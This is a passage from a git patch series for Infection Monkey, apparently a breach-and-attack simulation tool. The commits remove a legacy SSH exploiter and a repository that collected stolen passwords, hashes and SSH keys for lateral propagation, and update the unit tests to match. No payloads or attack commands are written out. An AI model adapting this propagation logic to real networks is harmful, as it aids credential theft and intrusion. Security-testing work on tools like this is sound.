exploiter_manifests: logger.debug("No plugin exploiter manifests were found") - exploiter_manifests.update(HARD_CODED_EXPLOITER_MANIFESTS) - return exploiter_manifests @classmethod diff --git a/monkey/tests/common/example_agent_configuration.py b/monkey/tests/common/example_agent_configuration.py index fb8dee0a964..f53f3b5a667 100644 --- a/monkey/tests/common/example_agent_configuration.py +++ b/monkey/tests/common/example_agent_configuration.py @@ -29,7 +29,7 @@ "targets": SCAN_TARGET_CONFIGURATION, } -EXPLOITERS: Dict[str, Dict] = {"SSHExploiter": {}} +EXPLOITERS: Dict[str, Dict] = {} EXPLOITATION_CONFIGURATION = { "options": {"http_ports": PORTS}, diff --git a/monkey/tests/data_for_tests/agent_plugin/manifests.py b/monkey/tests/data_for_tests/agent_plugin/manifests.py index 2b274f05ea1..f4e0e6d490d 100644 --- a/monkey/tests/data_for_tests/agent_plugin/manifests.py +++ b/monkey/tests/data_for_tests/agent_plugin/manifests.py @@ -4,6 +4,7 @@ EXPLOITER_NAME_1 = "MockExploiter" EXPLOITER_NAME_2 = "MockExploiter2" EXPLOITER_INCOMPLETE_MANIFEST = "MockExploiter3" +EXPLOITER_TITLE_1 = "Mock Exploiter" REMEDIATION_SUGGESTION_1 = "Fix it!" REMEDIATION_SUGGESTION_2 = "Patch it!" @@ -13,7 +14,7 @@ EXPLOITER_NAME_1: AgentPluginManifest( name=EXPLOITER_NAME_1, plugin_type=AgentPluginType.EXPLOITER, - title="Mock Exploiter", + title=EXPLOITER_TITLE_1, version="1.0.0", target_operating_systems=(OperatingSystem.WINDOWS,), description="Mocked description", diff --git a/monkey/tests/unit_tests/common/agent_configuration/test_agent_sub_configurations.py b/monkey/tests/unit_tests/common/agent_configuration/test_agent_sub_configurations.py index 9d758f7496e..f9b2e25c3ac 100644 --- a/monkey/tests/unit_tests/common/agent_configuration/test_agent_sub_configurations.py +++ b/monkey/tests/unit_tests/common/agent_configuration/test_agent_sub_configurations.py @@ -37,7 +37,6 @@ def test_sub_config_to_json_schema(): "Exploiter5": {}, "Exploiter4": {"timeout": 30}, "Exploiter2": {}, - "SSHExploiter": {}, "Exploiter3": {}, "Exploiter1": {}, "Exploiter6": {}, diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py index 780c6be7d25..19eda44e71c 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py @@ -139,14 +139,6 @@ def test_exploiter_order(callback, run_exploiters): assert callback.call_args_list[5][0][0] == "Exploiter1" -def test_credentials_passed_to_exploiter(run_exploiters): - mock_puppet = MagicMock() - run_exploiters(mock_puppet, 1) - - for call_args in mock_puppet.exploit_host.call_args_list: - assert call_args[0][4].get("credentials") == CREDENTIALS_FOR_PROPAGATION - - def test_stop_after_callback( exploiter_config, callback, @@ -228,9 +220,7 @@ def test_all_exploiters_run_on_unknown_host(callback, hosts, hosts_to_exploit, r assert ("Exploiter1", hosts[0]) in host_exploit_combos -def test_callback_skipped_on_rejected_request( - callback, hosts, hosts_to_exploit, run_exploiters, exploiter_config -): +def test_callback_skipped_on_rejected_request(callback, run_exploiters, exploiter_config): exploiter_config.exploiters = {"ZerologonExploiter": {}} host = TargetHost(ip=IPv4Address("10.0.0.1"), operating_system=OperatingSystem.LINUX) @@ -240,21 +230,6 @@ def test_callback_skipped_on_rejected_request( assert callback.call_count == 0 -@pytest.mark.parametrize( - "exploiter_config", - [ - {"SSHExploiter": {}}, - ], - indirect=True, -) -def test_exploit_hosts__retrieves_credentials_for_hard_coded_exploiters( - exploiter_config, run_exploiters, get_credentials_for_propagation -): - run_exploiters(MagicMock(), 1) - - assert get_credentials_for_propagation.called - - @pytest.mark.parametrize( "exploiter_config", [ @@ -264,7 +239,7 @@ def test_exploit_hosts__retrieves_credentials_for_hard_coded_exploiters( indirect=True, ) def test_exploit_hosts__does_not_retrieve_credentials_for_exploiter_plugins( - exploiter_config, run_exploiters, get_credentials_for_propagation + run_exploiters, get_credentials_for_propagation ): run_exploiters(MagicMock(), 1) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py index 6a57e3da7f5..30338c31507 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py @@ -4,6 +4,7 @@ from tests.data_for_tests.agent_plugin.manifests import ( EXPLOITER_NAME_1, EXPLOITER_NAME_2, + EXPLOITER_TITLE_1, PLUGIN_MANIFESTS, ) @@ -24,14 +25,6 @@ EVENT_1 = ExploitationEvent( - source=AGENT_ID, - timestamp=TIMESTAMP, - target=IPv4Address(TARGET_IP_STR), - success=True, - exploiter_name="SSHExploiter", -) - -EVENT_2 = ExploitationEvent( source=AGENT_ID, timestamp=TIMESTAMP, target=IPv4Address(TARGET_IP_STR), @@ -39,15 +32,15 @@ exploiter_name=EXPLOITER_NAME_3, # doesn't have a manifest ) -EVENT_3 = ExploitationEvent( +EVENT_2 = ExploitationEvent( source=AGENT_ID, timestamp=TIMESTAMP, - target=IPv4Address(OTHER_IP_STR), + target=IPv4Address(OTHER_IP_STR), # different IP success=True, exploiter_name=EXPLOITER_NAME_4, ) -EVENT_4 = ExploitationEvent( +EVENT_3 = ExploitationEvent( source=AGENT_ID, timestamp=TIMESTAMP, target=IPv4Address(TARGET_IP_STR), @@ -55,7 +48,7 @@ exploiter_name=EXPLOITER_NAME_1, ) -EVENT_5 = ExploitationEvent( +EVENT_4 = ExploitationEvent( source=AGENT_ID, timestamp=TIMESTAMP, target=IPv4Address(TARGET_IP_STR), @@ -75,36 +68,36 @@ def test_get_exploits_used_on_node__2_exploits(): exploits = get_exploits_used_on_node(MACHINE, [EVENT_1, EVENT_2], PLUGIN_MANIFESTS) - assert sorted(exploits) == sorted(["SSH Exploiter", EXPLOITER_NAME_3]) + assert sorted(exploits) == sorted([EXPLOITER_NAME_3]) def test_get_exploits_used_on_node__duplicate_exploits(): - exploits = get_exploits_used_on_node(MACHINE, [EVENT_1, EVENT_1], PLUGIN_MANIFESTS) - assert exploits == ["SSH Exploiter"] + exploits = get_exploits_used_on_node(MACHINE, [EVENT_2, EVENT_2], PLUGIN_MANIFESTS) + assert exploits == [] def test_get_exploits_used_on_node__returns_only_exploits_for_node(): exploits = get_exploits_used_on_node(MACHINE, [EVENT_1, EVENT_2, EVENT_3], PLUGIN_MANIFESTS) - assert sorted(exploits) == sorted(["SSH Exploiter", EXPLOITER_NAME_3]) + assert sorted(exploits) == sorted([EXPLOITER_NAME_3, EXPLOITER_TITLE_1]) def test_get_exploits_used_on_node__duplicate_plugin_exploits(): - exploits = get_exploits_used_on_node(MACHINE, [EVENT_4, EVENT_4], PLUGIN_MANIFESTS) - assert exploits == ["Mock Exploiter"] + exploits = get_exploits_used_on_node(MACHINE, [EVENT_3, EVENT_3], PLUGIN_MANIFESTS) + assert exploits == [EXPLOITER_TITLE_1] def test_get_exploits_used_on_node__mixed_exploits(): exploits = get_exploits_used_on_node( MACHINE, [EVENT_1, EVENT_2, EVENT_3, EVENT_4], PLUGIN_MANIFESTS ) - assert sorted(exploits) == sorted(["SSH Exploiter", EXPLOITER_NAME_3, "Mock Exploiter"]) + assert sorted(exploits) == sorted([EXPLOITER_NAME_3, EXPLOITER_TITLE_1, EXPLOITER_NAME_2]) def test_get_exploits_used_on_node__empty_plugin_manifests(): exploits = get_exploits_used_on_node(MACHINE, [EVENT_1, EVENT_2, EVENT_3], {}) - assert sorted(exploits) == sorted(["SSH Exploiter"]) + assert sorted(exploits) == sorted([]) def test_get_exploits_used_on_node__empty_title(): - exploits = get_exploits_used_on_node(MACHINE, [EVENT_5], PLUGIN_MANIFESTS) + exploits = get_exploits_used_on_node(MACHINE, [EVENT_4], PLUGIN_MANIFESTS) assert sorted(exploits) == sorted([EXPLOITER_NAME_2]) From 2d91678896db37ac45f771dd2a416988a11f40ac Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 6 Jul 2023 17:02:05 +0530 Subject: [PATCH 02/15] Project: Remove SSH exploiter plugin entries from Vulture allowlist --- vulture_allowlist.py | 7 ------- 1 file changed, 7 deletions(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 5e19742b7c5..30cc115eed4 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -1,8 +1,6 @@ from agent_plugins.exploiters.hadoop.plugin import Plugin as HadoopPlugin from agent_plugins.exploiters.smb.plugin import Plugin as SMBPlugin from agent_plugins.exploiters.snmp.src.snmp_exploit_client import SNMPResult -from agent_plugins.exploiters.ssh.src.ssh_command_builder import build_ssh_command -from agent_plugins.exploiters.ssh.src.ssh_options import SSHOptions from agent_plugins.exploiters.wmi.plugin import Plugin as WMIPlugin from agent_plugins.exploiters.zerologon.src.HostExploiter import HostExploiter from flask_security import Security @@ -160,8 +158,3 @@ commands.build_dropper_script_download_command commands.build_download_command_windows_powershell_webclient commands.build_download_command_windows_powershell_webrequest - -# Remove after #3170 is done -SSHOptions -SSHOptions.connect_timeout -build_ssh_command From 906f63eee268bdd7e021db5044c74ac1b5cd00a4 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 6 Jul 2023 17:04:24 +0530 Subject: [PATCH 03/15] Common: Remove unused ScanStatus --- monkey/common/utils/attack_utils.py | 8 -------- 1 file changed, 8 deletions(-) delete mode 100644 monkey/common/utils/attack_utils.py diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py deleted file mode 100644 index 4838b78d012..00000000000 --- a/monkey/common/utils/attack_utils.py +++ /dev/null @@ -1,8 +0,0 @@ -from enum import Enum - - -class ScanStatus(Enum): - # Technique was attempted/scanned - SCANNED = 1 - # Technique was attempted and succeeded - USED = 2 From f97be3ad2646c6cf57068fba3f570d499605945e Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 6 Jul 2023 18:41:57 +0530 Subject: [PATCH 04/15] Agent: Remove code that is no longer used All exploiters have been migrated to plugins so this stuff isn't needed anymore :) --- .../add_stolen_credentials_to_repository.py | 8 +- .../master/automated_master.py | 6 +- monkey/infection_monkey/master/exploiter.py | 11 --- monkey/infection_monkey/monkey.py | 10 +-- .../__init__.py | 4 - ...ting_propagation_credentials_repository.py | 90 ------------------- ...gacy_propagation_credentials_repository.py | 25 ------ 7 files changed, 3 insertions(+), 151 deletions(-) delete mode 100644 monkey/infection_monkey/propagation_credentials_repository/aggregating_propagation_credentials_repository.py delete mode 100644 monkey/infection_monkey/propagation_credentials_repository/i_legacy_propagation_credentials_repository.py diff --git a/monkey/infection_monkey/agent_event_handlers/add_stolen_credentials_to_repository.py b/monkey/infection_monkey/agent_event_handlers/add_stolen_credentials_to_repository.py index 397c1af378f..e22304eddf6 100644 --- a/monkey/infection_monkey/agent_event_handlers/add_stolen_credentials_to_repository.py +++ b/monkey/infection_monkey/agent_event_handlers/add_stolen_credentials_to_repository.py @@ -1,10 +1,7 @@ import logging from common.agent_events import CredentialsStolenEvent -from infection_monkey.propagation_credentials_repository import ( - ILegacyPropagationCredentialsRepository, - IPropagationCredentialsRepository, -) +from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository logger = logging.getLogger(__name__) @@ -13,12 +10,9 @@ class add_stolen_credentials_to_propagation_credentials_repository: def __init__( self, credentials_repository: IPropagationCredentialsRepository, - legacy_credentials_repository: ILegacyPropagationCredentialsRepository, ): self._credentials_repository = credentials_repository - self._legacy_credentials_repository = legacy_credentials_repository def __call__(self, event: CredentialsStolenEvent): logger.debug(f"Adding {len(event.stolen_credentials)} to the credentials repository") self._credentials_repository.add_credentials(event.stolen_credentials) - self._legacy_credentials_repository.add_credentials(event.stolen_credentials) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 8c9afbb0c3e..696b7981b5e 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -9,9 +9,6 @@ from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet, RejectedRequestError -from infection_monkey.propagation_credentials_repository import ( - ILegacyPropagationCredentialsRepository, -) from infection_monkey.utils.propagation import maximum_depth_reached from infection_monkey.utils.threading import create_daemon_thread, interruptible_iter @@ -34,7 +31,6 @@ def __init__( puppet: IPuppet, control_channel: IControlChannel, local_network_interfaces: List[IPv4Interface], - credentials_store: ILegacyPropagationCredentialsRepository, ): self._current_depth = current_depth self._servers = servers @@ -43,7 +39,7 @@ def __init__( ip_scanner = IPScanner(self._puppet, NUM_SCAN_THREADS) - exploiter = Exploiter(self._puppet, NUM_EXPLOIT_THREADS, credentials_store.get_credentials) + exploiter = Exploiter(self._puppet, NUM_EXPLOIT_THREADS) self._propagator = Propagator( ip_scanner, exploiter, diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index 19dd26426f0..5761b4376e4 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ b/monkey/infection_monkey/master/exploiter.py @@ -6,7 +6,6 @@ from common.agent_configuration.agent_sub_configurations import ExploitationConfiguration from common.types import Event -from infection_monkey.custom_types import PropagationCredentials from infection_monkey.i_puppet import ExploiterResultData, IPuppet, RejectedRequestError, TargetHost from infection_monkey.utils.threading import interruptible_iter, run_worker_threads @@ -23,11 +22,9 @@ def __init__( self, puppet: IPuppet, num_workers: int, - get_updated_credentials_for_propagation: Callable[[], PropagationCredentials], ): self._puppet = puppet self._num_workers = num_workers - self._get_updated_credentials_for_propagation = get_updated_credentials_for_propagation def exploit_hosts( self, @@ -159,14 +156,6 @@ def _run_exploiter( exploitation_success=False, propagation_success=False, error_message=msg ) - def _get_credentials_for_propagation(self) -> PropagationCredentials: - try: - return self._get_updated_credentials_for_propagation() - except Exception as ex: - logger.error(f"Error while attempting to retrieve credentials for propagation: {ex}") - - return {} - def _all_hosts_have_been_processed(scan_completed: threading.Event, hosts_to_exploit: Queue): return scan_completed.is_set() and hosts_to_exploit.empty() diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 9f40e66adeb..6486ebaf872 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -79,10 +79,7 @@ ) from infection_monkey.plugin.exploiter_plugin_factory import ExploiterPluginFactory from infection_monkey.plugin.multiprocessing_plugin_wrapper import MultiprocessingPluginWrapper -from infection_monkey.propagation_credentials_repository import ( - AggregatingPropagationCredentialsRepository, - PropagationCredentialsRepository, -) +from infection_monkey.propagation_credentials_repository import PropagationCredentialsRepository from infection_monkey.puppet import ( PluginCompatibilityVerifier, PluginRegistry, @@ -151,9 +148,6 @@ def __init__(self, args, ipc_logger_queue: multiprocessing.Queue, log_path: Path self._operating_system = get_os() self._control_channel = ControlChannel(str(self._island_address), self._island_api_client) - self._legacy_propagation_credentials_repository = ( - AggregatingPropagationCredentialsRepository(self._control_channel) - ) self._propagation_credentials_repository = PropagationCredentialsRepository( self._island_api_client, self._manager ) @@ -377,7 +371,6 @@ def _build_master(self, servers: Sequence[str], operating_system: OperatingSyste puppet, self._control_channel, local_network_interfaces, - self._legacy_propagation_credentials_repository, ) def _build_server_list(self, relay_port: Optional[NetworkPort]) -> Sequence[str]: @@ -470,7 +463,6 @@ def _subscribe_events(self): CredentialsStolenEvent, add_stolen_credentials_to_propagation_credentials_repository( self._propagation_credentials_repository, - self._legacy_propagation_credentials_repository, ), ) diff --git a/monkey/infection_monkey/propagation_credentials_repository/__init__.py b/monkey/infection_monkey/propagation_credentials_repository/__init__.py index c613b35e733..39e62ce1646 100644 --- a/monkey/infection_monkey/propagation_credentials_repository/__init__.py +++ b/monkey/infection_monkey/propagation_credentials_repository/__init__.py @@ -1,6 +1,2 @@ -from .i_legacy_propagation_credentials_repository import ILegacyPropagationCredentialsRepository -from .aggregating_propagation_credentials_repository import ( - AggregatingPropagationCredentialsRepository, -) from .i_propagation_credentials_repository import IPropagationCredentialsRepository from .propagation_credentials_repository import PropagationCredentialsRepository diff --git a/monkey/infection_monkey/propagation_credentials_repository/aggregating_propagation_credentials_repository.py b/monkey/infection_monkey/propagation_credentials_repository/aggregating_propagation_credentials_repository.py deleted file mode 100644 index 6db10b6d550..00000000000 --- a/monkey/infection_monkey/propagation_credentials_repository/aggregating_propagation_credentials_repository.py +++ /dev/null @@ -1,90 +0,0 @@ -import logging -from typing import Any, Dict, Iterable, Sequence - -from common.credentials import Credentials, LMHash, NTHash, Password, SSHKeypair, Username -from common.credentials.credentials import Identity, Secret -from infection_monkey.custom_types import PropagationCredentials -from infection_monkey.i_control_channel import IControlChannel -from infection_monkey.utils.decorators import request_cache - -from .i_legacy_propagation_credentials_repository import ILegacyPropagationCredentialsRepository - -logger = logging.getLogger(__name__) - -CREDENTIALS_POLL_PERIOD_SEC = 10 - - -class AggregatingPropagationCredentialsRepository(ILegacyPropagationCredentialsRepository): - """ - Repository that stores credentials on the island and saves/gets credentials by using - command and control channel - """ - - def __init__(self, control_channel: IControlChannel): - self._stored_credentials: Dict = { - "exploit_user_list": set(), - "exploit_password_list": set(), - "exploit_lm_hash_list": set(), - "exploit_ntlm_hash_list": set(), - "exploit_ssh_keys": [], - } - self._control_channel = control_channel - - # Ensure caching happens per-instance instead of being shared across instances - self._get_credentials_from_control_channel = request_cache(CREDENTIALS_POLL_PERIOD_SEC)( - self._control_channel.get_credentials_for_propagation - ) - - def add_credentials(self, credentials_to_add: Iterable[Credentials]): - for credentials in credentials_to_add: - logger.debug("Adding credentials") - if credentials.identity: - self._add_identity(credentials.identity) - - if credentials.secret: - self._add_secret(credentials.secret) - - def _add_identity(self, identity: Identity): - if isinstance(identity, Username): - self._stored_credentials.setdefault("exploit_user_list", set()).add(identity.username) - - def _add_secret(self, secret: Secret): - if isinstance(secret, Password): - self._stored_credentials.setdefault("exploit_password_list", set()).add(secret.password) - elif isinstance(secret, LMHash): - self._stored_credentials.setdefault("exploit_lm_hash_list", set()).add(secret.lm_hash) - elif isinstance(secret, NTHash): - self._stored_credentials.setdefault("exploit_ntlm_hash_list", set()).add(secret.nt_hash) - elif isinstance(secret, SSHKeypair): - self._set_attribute( - "exploit_ssh_keys", - [{"public_key": secret.public_key, "private_key": secret.private_key}], - ) - - def get_credentials(self) -> PropagationCredentials: - try: - propagation_credentials = self._get_credentials_from_control_channel() - logger.debug(f"Received {len(propagation_credentials)} from the control channel") - - self.add_credentials(propagation_credentials) - except Exception as ex: - logger.error(f"Error while attempting to retrieve credentials for propagation: {ex}") - - return self._stored_credentials - - def _set_attribute(self, attribute_to_be_set: str, credentials_values: Sequence[Any]): - if not credentials_values: - return - - if isinstance(credentials_values[0], dict): - self._stored_credentials.setdefault(attribute_to_be_set, []).extend(credentials_values) - self._stored_credentials[attribute_to_be_set] = [ - dict(s_c) - for s_c in set( - frozenset(d_c.items()) for d_c in self._stored_credentials[attribute_to_be_set] - ) - ] - else: - self._stored_credentials.setdefault(attribute_to_be_set, set()).update( - credentials_values - ) diff --git a/monkey/infection_monkey/propagation_credentials_repository/i_legacy_propagation_credentials_repository.py b/monkey/infection_monkey/propagation_credentials_repository/i_legacy_propagation_credentials_repository.py deleted file mode 100644 index 37cbf51f330..00000000000 --- a/monkey/infection_monkey/propagation_credentials_repository/i_legacy_propagation_credentials_repository.py +++ /dev/null @@ -1,25 +0,0 @@ -import abc -from typing import Iterable - -from common.credentials import Credentials -from infection_monkey.custom_types import PropagationCredentials - - -class ILegacyPropagationCredentialsRepository(metaclass=abc.ABCMeta): - """ - Repository that stores and provides credentials for the Agent to use in propagation - """ - - @abc.abstractmethod - def add_credentials(self, credentials_to_add: Iterable[Credentials]): - """ - Adds credentials to the CredentialStore - :param credentials_to_add: The credentials that will be added - """ - - @abc.abstractmethod - def get_credentials(self) -> PropagationCredentials: - """ - Retrieves credentials from the store - :return: Credentials that can be used for propagation - """ From 7fa045424f466c89e1bee08cde4f8274ddfc98e8 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 6 Jul 2023 18:43:18 +0530 Subject: [PATCH 05/15] UT: Update tests after dead code removal --- .../test_add_credentials_from_event.py | 11 +- ...ting_propagation_credentials_repository.py | 166 ------------------ .../master/test_automated_master.py | 6 +- .../infection_monkey/master/test_exploiter.py | 29 +-- 4 files changed, 8 insertions(+), 204 deletions(-) delete mode 100644 monkey/tests/unit_tests/infection_monkey/credential_store/test_aggregating_propagation_credentials_repository.py diff --git a/monkey/tests/unit_tests/infection_monkey/credential_store/test_add_credentials_from_event.py b/monkey/tests/unit_tests/infection_monkey/credential_store/test_add_credentials_from_event.py index 8c620532465..695f7c8c5b4 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_store/test_add_credentials_from_event.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_store/test_add_credentials_from_event.py @@ -6,10 +6,7 @@ from infection_monkey.agent_event_handlers import ( add_stolen_credentials_to_propagation_credentials_repository, ) -from infection_monkey.propagation_credentials_repository import ( - ILegacyPropagationCredentialsRepository, - IPropagationCredentialsRepository, -) +from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository credentials = [ Credentials( @@ -28,14 +25,10 @@ def test_add_credentials_from_event_to_propagation_credentials_repository(): mock_propagation_credentials_repository = MagicMock(spec=IPropagationCredentialsRepository) - mock_legacy_propagation_credentials_repository = MagicMock( - spec=ILegacyPropagationCredentialsRepository - ) fn = add_stolen_credentials_to_propagation_credentials_repository( - mock_propagation_credentials_repository, mock_legacy_propagation_credentials_repository + mock_propagation_credentials_repository ) fn(credentials_stolen_event) assert mock_propagation_credentials_repository.add_credentials.called_with(credentials) - assert mock_legacy_propagation_credentials_repository.add_credentials.called_with(credentials) diff --git a/monkey/tests/unit_tests/infection_monkey/credential_store/test_aggregating_propagation_credentials_repository.py b/monkey/tests/unit_tests/infection_monkey/credential_store/test_aggregating_propagation_credentials_repository.py deleted file mode 100644 index fe57348bdf2..00000000000 --- a/monkey/tests/unit_tests/infection_monkey/credential_store/test_aggregating_propagation_credentials_repository.py +++ /dev/null @@ -1,166 +0,0 @@ -from typing import List -from unittest.mock import MagicMock - -import pytest -from pydantic import SecretStr -from tests.data_for_tests.propagation_credentials import ( - CREDENTIALS, - LM_HASH, - NT_HASH, - PASSWORD_1, - PASSWORD_2, - PASSWORD_3, - PRIVATE_KEY_1, - PRIVATE_KEY_2, - PUBLIC_KEY, - SPECIAL_USERNAME, - USERNAME, -) - -from common.credentials import Credentials, LMHash, NTHash, Password, SSHKeypair, Username -from infection_monkey.propagation_credentials_repository import ( - AggregatingPropagationCredentialsRepository, -) - -TRANSFORMED_CONTROL_CHANNEL_CREDENTIALS = { - "exploit_user_list": {USERNAME, SPECIAL_USERNAME}, - "exploit_password_list": {PASSWORD_1, PASSWORD_2, PASSWORD_3}, - "exploit_lm_hash_list": {LM_HASH}, - "exploit_ntlm_hash_list": {NT_HASH}, -} - -TRANSFORMED_CONTROL_CHANNEL_SSH_KEYS = { - "exploit_ssh_keys": [ - {"public_key": PUBLIC_KEY, "private_key": PRIVATE_KEY_1}, - {"public_key": None, "private_key": PRIVATE_KEY_2}, - ], -} - -EMPTY_CHANNEL_CREDENTIALS: List[Credentials] = [] - -STOLEN_USERNAME_1 = "user1" -STOLEN_USERNAME_2 = "user2" -STOLEN_USERNAME_3 = "user3" -STOLEN_PASSWORD_1 = SecretStr("abcdefg") -STOLEN_PASSWORD_2 = SecretStr("super_secret") -STOLEN_PUBLIC_KEY_1 = "some_public_key_1" -STOLEN_PUBLIC_KEY_2 = "some_public_key_2" -STOLEN_LM_HASH = SecretStr("AAD3B435B51404EEAAD3B435B51404EE") -STOLEN_NT_HASH = SecretStr("C0172DFF622FE29B5327CB79DC12D24C") -STOLEN_PRIVATE_KEY_1 = SecretStr("some_private_key_1") -STOLEN_PRIVATE_KEY_2 = SecretStr("some_private_key_2") -STOLEN_CREDENTIALS = [ - Credentials( - identity=Username(username=STOLEN_USERNAME_1), - secret=Password(password=PASSWORD_1), - ), - Credentials( - identity=Username(username=STOLEN_USERNAME_1), secret=Password(password=STOLEN_PASSWORD_1) - ), - Credentials( - identity=Username(username=STOLEN_USERNAME_2), - secret=SSHKeypair(public_key=STOLEN_PUBLIC_KEY_1, private_key=STOLEN_PRIVATE_KEY_1), - ), - Credentials( - identity=None, - secret=Password(password=STOLEN_PASSWORD_2), - ), - Credentials( - identity=Username(username=STOLEN_USERNAME_2), secret=LMHash(lm_hash=STOLEN_LM_HASH) - ), - Credentials( - identity=Username(username=STOLEN_USERNAME_2), secret=NTHash(nt_hash=STOLEN_NT_HASH) - ), - Credentials(identity=Username(username=STOLEN_USERNAME_3), secret=None), -] - -STOLEN_SSH_KEYS_CREDENTIALS = [ - Credentials( - identity=Username(username=USERNAME), - secret=SSHKeypair(public_key=STOLEN_PUBLIC_KEY_2, private_key=STOLEN_PRIVATE_KEY_2), - ) -] - - -@pytest.fixture -def aggregating_credentials_repository() -> AggregatingPropagationCredentialsRepository: - control_channel = MagicMock() - control_channel.get_credentials_for_propagation.return_value = CREDENTIALS - return AggregatingPropagationCredentialsRepository(control_channel) - - -@pytest.mark.parametrize("key", TRANSFORMED_CONTROL_CHANNEL_CREDENTIALS.keys()) -def test_get_credentials_from_repository(aggregating_credentials_repository, key): - actual_stored_credentials = aggregating_credentials_repository.get_credentials() - - assert actual_stored_credentials[key] == TRANSFORMED_CONTROL_CHANNEL_CREDENTIALS[key] - - -def test_get_ssh_keys_from_repository(aggregating_credentials_repository): - actual_stored_credentials = aggregating_credentials_repository.get_credentials() - actual_stored_credentials_set = { - frozenset(ssh_key.items()) for ssh_key in actual_stored_credentials["exploit_ssh_keys"] - } - - expected_credentials_set = { - frozenset(ssh_key.items()) - for ssh_key in TRANSFORMED_CONTROL_CHANNEL_SSH_KEYS["exploit_ssh_keys"] - } - assert actual_stored_credentials_set == expected_credentials_set - - -def test_add_credentials_to_repository(aggregating_credentials_repository): - aggregating_credentials_repository.add_credentials(STOLEN_CREDENTIALS) - aggregating_credentials_repository.add_credentials(STOLEN_SSH_KEYS_CREDENTIALS) - - actual_stored_credentials = aggregating_credentials_repository.get_credentials() - - assert actual_stored_credentials["exploit_user_list"] == set( - [ - USERNAME, - SPECIAL_USERNAME, - STOLEN_USERNAME_1, - STOLEN_USERNAME_2, - STOLEN_USERNAME_3, - ] - ) - assert actual_stored_credentials["exploit_password_list"] == set( - [ - PASSWORD_1, - PASSWORD_2, - PASSWORD_3, - STOLEN_PASSWORD_1, - STOLEN_PASSWORD_2, - ] - ) - assert actual_stored_credentials["exploit_lm_hash_list"] == set([LM_HASH, STOLEN_LM_HASH]) - assert actual_stored_credentials["exploit_ntlm_hash_list"] == set([NT_HASH, STOLEN_NT_HASH]) - - assert len(actual_stored_credentials["exploit_ssh_keys"]) == 4 - - -def test_all_keys_if_credentials_empty(): - control_channel = MagicMock() - control_channel.get_credentials_for_propagation.return_value = EMPTY_CHANNEL_CREDENTIALS - credentials_repository = AggregatingPropagationCredentialsRepository(control_channel) - - actual_stored_credentials = credentials_repository.get_credentials() - print(type(actual_stored_credentials)) - - assert "exploit_user_list" in actual_stored_credentials - assert "exploit_password_list" in actual_stored_credentials - assert "exploit_ntlm_hash_list" in actual_stored_credentials - assert "exploit_ssh_keys" in actual_stored_credentials - - -def test_credentials_obtained_if_propagation_credentials_fails(): - control_channel = MagicMock() - control_channel.get_credentials_for_propagation.return_value = EMPTY_CHANNEL_CREDENTIALS - control_channel.get_credentials_for_propagation.side_effect = Exception( - "No credentials for you!" - ) - credentials_repository = AggregatingPropagationCredentialsRepository(control_channel) - - credentials = credentials_repository.get_credentials() - - assert credentials is not None diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py b/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py index 83ba84ee65e..fd1a8a10dc4 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py @@ -10,7 +10,7 @@ def test_terminate_without_start(): - m = AutomatedMaster(None, [], None, MagicMock(), [], MagicMock()) + m = AutomatedMaster(None, [], None, MagicMock(), []) # Test that call to terminate does not raise exception m.terminate() @@ -30,7 +30,7 @@ def test_stop_if_cant_get_config_from_island(monkeypatch): monkeypatch.setattr( "infection_monkey.master.automated_master.CHECK_FOR_TERMINATE_INTERVAL_SEC", INTERVAL ) - m = AutomatedMaster(None, [], None, cc, [], MagicMock()) + m = AutomatedMaster(None, [], None, cc, []) m.start() @@ -67,5 +67,5 @@ def test_stop_if_cant_get_stop_signal_from_island(monkeypatch, sleep_and_return_ "infection_monkey.master.automated_master.CHECK_FOR_TERMINATE_INTERVAL_SEC", INTERVAL ) - m = AutomatedMaster(None, [], None, cc, [], MagicMock()) + m = AutomatedMaster(None, [], None, cc, []) m.start() diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py index 19eda44e71c..e79def3588d 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py @@ -2,7 +2,7 @@ from ipaddress import IPv4Address from queue import Queue from threading import Barrier, Event -from typing import Callable, Collection, Iterable, Mapping, Sequence, Tuple +from typing import Callable, Collection, Iterable, Sequence, Tuple from unittest.mock import MagicMock import pytest @@ -90,11 +90,6 @@ def get_host_exploit_combos_from_call_args_list( 